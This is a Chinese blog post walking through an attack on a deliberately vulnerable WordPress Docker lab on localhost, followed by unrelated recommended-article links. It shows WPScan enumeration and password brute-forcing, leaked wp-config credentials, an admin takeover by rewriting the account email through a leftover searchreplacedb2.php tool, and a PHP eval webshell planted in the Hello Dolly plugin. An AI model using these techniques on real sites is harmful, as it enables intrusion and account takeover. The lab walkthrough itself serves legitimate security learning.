近日在朋友圈看某位dalao在Ubuntu上安装WPScan花了一个小时,于是洒家随手在Kali Linux上输入了wpscan,发现Kali里面已经装好了。于是决定玩两把WPScan。

WordPress博客平台代码量多,也曾经爆出过大量漏洞。遇到WordPress先用傻瓜式工具扫描一下是一个不错的开始。

http://www.cnblogs.com/go2bed/p/6398788.html  原创

安装靶机

洒家使用了 https://hub.docker.com/r/wpscanteam/vulnerablewordpress/  官方出品的Docker镜像 wpscanteam/vulnerablewordpress,pull完毕后运行,转发80和3306端口。

docker run --name vulnerablewordpress -d -p : -p : wpscan/vulnerablewordpress

后期又在docker容器里面安装了vim sendmail 等软件。

初始设置用户admin,密码是某弱口令

初步扫描

首先扫描一波

wpscan --url http://127.0.0.1/

暴露出以下几个比较严重的漏洞:

配置文件备份泄露:

[!] A wp-config.php backup file has been found in: 'http://127.0.0.1/wp-config.php%7E
[!] A wp-config.php backup file has been found in: 'http://127.0.0.1/wp-config.php.save
[!] A wp-config.php backup file has been found in: 'http://127.0.0.1/wp-config.old
[!] A wp-config.php backup file has been found in: 'http://127.0.0.1/wp-config.txt
从中可以得到数据库信息,以及其他各种AUTH_KEY SALT 等等

define('DB_NAME', 'wordpress'); /** MySQL database username */  
define('DB_USER', 'wordpress'); /** MySQL database password */  
define('DB_PASSWORD', 'wordpress'); /** MySQL hostname */  
define('DB_HOST', 'localhost');

目测由于数据库账号wordpress被限制为localhost,无法在服务器外登录。但是由于开放了3306端口,可以用root用户空口令登录。

root@kali:~# mysql -uwordpress -pwordpress -h127.0.0.
ERROR (): Access denied for user 'wordpress'@'172.17.0.1' (using password: YES)
root@kali:~# mysql -uroot -p -h127.0.0.
Enter password:
Welcome to the MariaDB monitor. Commands end with ; or \g.
Your MySQL connection id is
Server version: 5.5.-0ubuntu0.14.04. (Ubuntu)

另外还发现一个后门 searchreplacedb2.php:

[!] searchreplacedb2.php has been found in: 'http://127.0.0.1/searchreplacedb2.php
搜索一番之后洒家了解到,这是一个用于WordPress网站更换域名之后批量替换数据库内容的工具。但是用了两下之后可以看出,它只能替换,并没有找到查询数据的方法。
 

另外,searchreplacedb2.php会自动读取wp-config.php,然后返回的表单里面也包含数据库用户名和密码。

其他扫描出来的漏洞 :

[+] XML-RPC Interface available under: http://127.0.0.1/xmlrpc.php  一个XML接口,以前爆出来过可以无限制暴力破解攻击的问题

[!] Includes directory has directory listing enabled: http://127.0.0.1/wp-includes/     网站配置为可以列目录,可能泄露其他信息

[!] Title: Twenty Fifteen Theme <= 1.1 - DOM Cross-Site Scripting (XSS)     有一个example.html 有DOM型XSS漏洞,然而访问了一下实际并不存在这个文件

等等,本次基本没有使用。

枚举WordPress信息

WPScan提供了以下枚举功能:

-Do wordlist password brute force on enumerated users using  threads ...
使用50线程对枚举出来的用户的密码进行字典暴力破解
ruby ./wpscan.rb --url www.example.com --wordlist darkc0de.lst --threads -Do wordlist password brute force on the 'admin' username only ...
只对指定admin用户的密码进行字典暴力破解
ruby ./wpscan.rb --url www.example.com --wordlist darkc0de.lst --username admin -Enumerate installed plugins ...
枚举安装的插件
ruby ./wpscan.rb --url www.example.com --enumerate p -Enumerate installed themes ...
枚举安装的主题
ruby ./wpscan.rb --url www.example.com --enumerate t -Enumerate users ...
枚举用户
ruby ./wpscan.rb --url www.example.com --enumerate u -Enumerate installed timthumbs ...
ruby ./wpscan.rb --url www.example.com --enumerate tt

例如,枚举用户可得:

[+] Enumerating usernames ...
[+] Identified the following 1 user/s:
+----+-------+-------+
| Id | Login | Name |
+----+-------+-------+
| 1 | admin | admin |
+----+-------+-------+
[!] Default first WordPress username 'admin' is still used

暴力破解拿下管理员账号

初始设置为管理员账号是admin,假设密码是未知弱口令。

可以提供一个字典暴力破解用户的密码。

参数: --wordlist | -w <wordlist>          Supply a wordlist for the password brute forcer.

sudo wpscan --url http://127.0.0.1/ --wordlist ~/Documents/dict.txt
(省略)
[+] Enumerating usernames ...
[+] Identified the following user/s:
+----+-------+-------+
| Id | Login | Name |
+----+-------+-------+
| | admin | admin |
+----+-------+-------+
[!] Default first WordPress username 'admin' is still used
[+] Starting the password brute forcer
[+] [SUCCESS] Login : admin Password : Brute Forcing 'admin' Time: :: <================================ > ( / ) 90.00% ETA: ::
+----+-------+-------+-----------+
| Id | Login | Name | Password |
+----+-------+-------+-----------+
| | admin | admin | |
+----+-------+-------+-----------+

利用searchreplacedb2.php修改邮箱重置密码拿下管理员账号

由前文已知,存在一个遗留后门searchreplacedb2.php,可以利用它修改管理员admin预留的邮箱,点击忘记密码发送重置密码链接,然后重置密码。

在实际渗透过程中完整的邮箱往往不易得到,需要经过社工等手段猜测。因此洒家没有替换整体邮箱,而是猜测邮箱的域名,替换为自己的服务器域名,然后监听25端口即可接收任意发往自己的服务器的邮件。

服务器上监听25端口:

sudo python -m smtpd -n -c DebuggingServer 0.0.0.0:

数据库的wp_users表的结构为:

MySQL [wordpress]> describe wp_users;
+---------------------+---------------------+------+-----+---------------------+----------------+
| Field | Type | Null | Key | Default | Extra |
+---------------------+---------------------+------+-----+---------------------+----------------+
| ID | bigint(20) unsigned | NO | PRI | NULL | auto_increment |
| user_login | varchar(60) | NO | MUL | | |
| user_pass | varchar(64) | NO | | | |
| user_nicename | varchar(50) | NO | MUL | | |
| user_email | varchar(100) | NO | | | |
| user_url | varchar(100) | NO | | | |
| user_registered | datetime | NO | | 0000-00-00 00:00:00 | |
| user_activation_key | varchar(60) | NO | | | |
| user_status | int(11) | NO | | 0 | |
| display_name | varchar(250) | NO | | | |
+---------------------+---------------------+------+-----+---------------------+----------------+
10 rows in set (0.00 sec)

假设邮箱是QQ邮箱,替换wp_users表:

然后点击密码重置链接,输入admin账号,

顺利收到重置密码的邮件。邮件正文用base64编码,解码后可以得到重置链接,从而重置密码。

放置WebShell

这个网站文件整个是 www-data 所属,有写权限。

根据网上流传的文章 http://xcha3389.blog.sohu.com/169600289.html WordPress后台拿WebShell的方法:

1.本机建立目录“chaochao”,把一句话1.php放进去。打包wawa目录为zip文件。WP后台的主题管理,上传主题,安装。
则你的后门路径为:wp-content\themes\chaochao\1.php

2.能编辑模板就能拿到shell
首先edit 模板 接着找php的文件,接着备份下他的内容,然后替换成一句话木马,接着访问那个页面的地址
/wp-content/themes/default/404.php

编辑这个网站的Hello Dolly插件,增加代码:

<?php
if(isset($_GET['cmd'])){
eval($_GET['cmd']);
exit();
}
?>

文件位置在 http://127.0.0.1/wp-content/plugins/hello.php?cmd=phpinfo();

研究了两下WordPress的Plugin,发现Hello Dolly插件足够简单,里面只有一个readme.txt 和 hello.php,可以直接用来修改作为恶意插件上传。

上传成功,webshell在 http://127.0.0.1/wp-content/plugins/hello-shell/shell.php?cmd=phpinfo();

WPScan初体验的更多相关文章

  1. .NET平台开源项目速览(15)文档数据库RavenDB-介绍与初体验

    不知不觉,“.NET平台开源项目速览“系列文章已经15篇了,每一篇都非常受欢迎,可能技术水平不高,但足够入门了.虽然工作很忙,但还是会抽空把自己知道的,已经平时遇到的好的开源项目分享出来.今天就给大家 ...

  2. Xamarin+Prism开发详解四:简单Mac OS 虚拟机安装方法与Visual Studio for Mac 初体验

    Mac OS 虚拟机安装方法 最近把自己的电脑升级了一下SSD固态硬盘,总算是有容量安装Mac 虚拟机了!经过心碎的安装探索,尝试了国内外的各种安装方法,最后在youtube上找到了一个好方法. 简单 ...

  3. Spring之初体验

                                     Spring之初体验 Spring是一个轻量级的Java Web开发框架,以IoC(Inverse of Control 控制反转)和 ...

  4. Xamarin.iOS开发初体验

    aaarticlea/png;base64,iVBORw0KGgoAAAANSUhEUgAAAKwAAAA+CAIAAAA5/WfHAAAJrklEQVR4nO2c/VdTRxrH+wfdU84pW0

  5. 【腾讯Bugly干货分享】基于 Webpack & Vue & Vue-Router 的 SPA 初体验

    本文来自于腾讯bugly开发者社区,非经作者同意,请勿转载,原文地址:http://dev.qq.com/topic/57d13a57132ff21c38110186 导语 最近这几年的前端圈子,由于 ...

  6. 【Knockout.js 学习体验之旅】(1)ko初体验

    前言 什么,你现在还在看knockout.js?这货都已经落后主流一千年了!赶紧去学Angular.React啊,再不赶紧的话,他们也要变out了哦.身旁的90后小伙伴,嘴里还塞着山东的狗不理大蒜包, ...

  7. 在同一个硬盘上安装多个 Linux 发行版及 Fedora 21 、Fedora 22 初体验

    在同一个硬盘上安装多个 Linux 发行版 以前对多个 Linux 发行版的折腾主要是在虚拟机上完成.我的桌面电脑性能比较强大,玩玩虚拟机没啥问题,但是笔记本电脑就不行了.要在我的笔记本电脑上折腾多个 ...

  8. 百度EChart3初体验

    由于项目需要在首页搞一个订单数量的走势图,经过多方查找,体验,感觉ECharts不错,封装的很细,我们只需要看自己需要那种类型的图表,搞定好自己的json数据就OK.至于说如何体现出来,官网的教程很详 ...

  9. Python导出Excel为Lua/Json/Xml实例教程(二):xlrd初体验

    Python导出Excel为Lua/Json/Xml实例教程(二):xlrd初体验 相关链接: Python导出Excel为Lua/Json/Xml实例教程(一):初识Python Python导出E ...

随机推荐

  1. 产品需求文档写作方法(三)用例文档(UML用例图、流程图)

    在产品和技术领域里都有UML的技能知识,而对于产品人员的UML则更多的是指用例图,也就是我所称呼的用户流程图.在讲PRD文档写作的第二篇文章里,我提到了用户流程图的制作,实际上用户流程图是我在产品规则 ...

  2. iOS子线程更新UI的两种方法

    http://blog.csdn.net/libaineu2004/article/details/45368427 方法1:performSelectorOnMainThread[self perf ...

  3. 网络IO模型

    同步(synchronous) IO和异步(asynchronous) IO,阻塞(blocking) IO和非阻塞(non-blocking)IO分别是什么,到底有什么区别?这个问题其实不同的人给出 ...

  4. Java NIO 与 IO

    我应该何时使用 IO,何时使用 NIO 呢?在本文中,我会尽量清晰地解析 Java NIO 和 IO 的差异.它们的使用场景,以及它们如何影响您的代码设计. Java NIO 和 IO 的主要区别 下 ...

  5. Mysql导入zabbix的sql语句时报错:ERROR 1045 (28000)

    #Warning: Using a password on the command line interface can be insecure.#ERROR 1045 (28000): Access ...

  6. AngularJS 讲解,四 Directive

    AngularJS  Directive 自定义指令(我最喜欢AngularJs的功能之一) 一:什么时候我们会用到directive 1.使html更具语义化,不用深入了解研究代码的逻辑便可知道大致 ...

  7. CodeSmith生成实体类

    1.新建一个模板,将以下代码复制进去,在属性工具栏里设置 SourceTtable和NameSpace , 点击生成即可 <%@ CodeTemplate Language="C#&q ...

  8. WCF必须使用证书验证吗

    你说的 ASP.NET Web Service在消息头里加个字段,服务端做验证,这个是可以的,但是无法保证传输的用户名和密码是加密安全的. 要求使用证书,也是强制服务器端,这里涉及到服务器身份鉴别的问 ...

  9. 51NOD 1639 绑鞋带 数学

    http://www.51nod.com/onlineJudge/questionCode.html#!problemId=1639 假如一开始有一根绳子. 那么增加一根的时候,可以插在它的尾部,也可 ...

  10. CentOS6.7下使用非root用户(普通用户)编译安装与配置mysql数据库并使用shell脚本定时任务方式实现mysql数据库服务随机自动启动

    CentOS6.7下使用非root用户(普通用户)编译安装与配置mysql数据库并使用shell脚本定时任务方式实现mysql数据库服务随机自动启动1.关于mysql?MySQL是一个关系型数据库管理 ...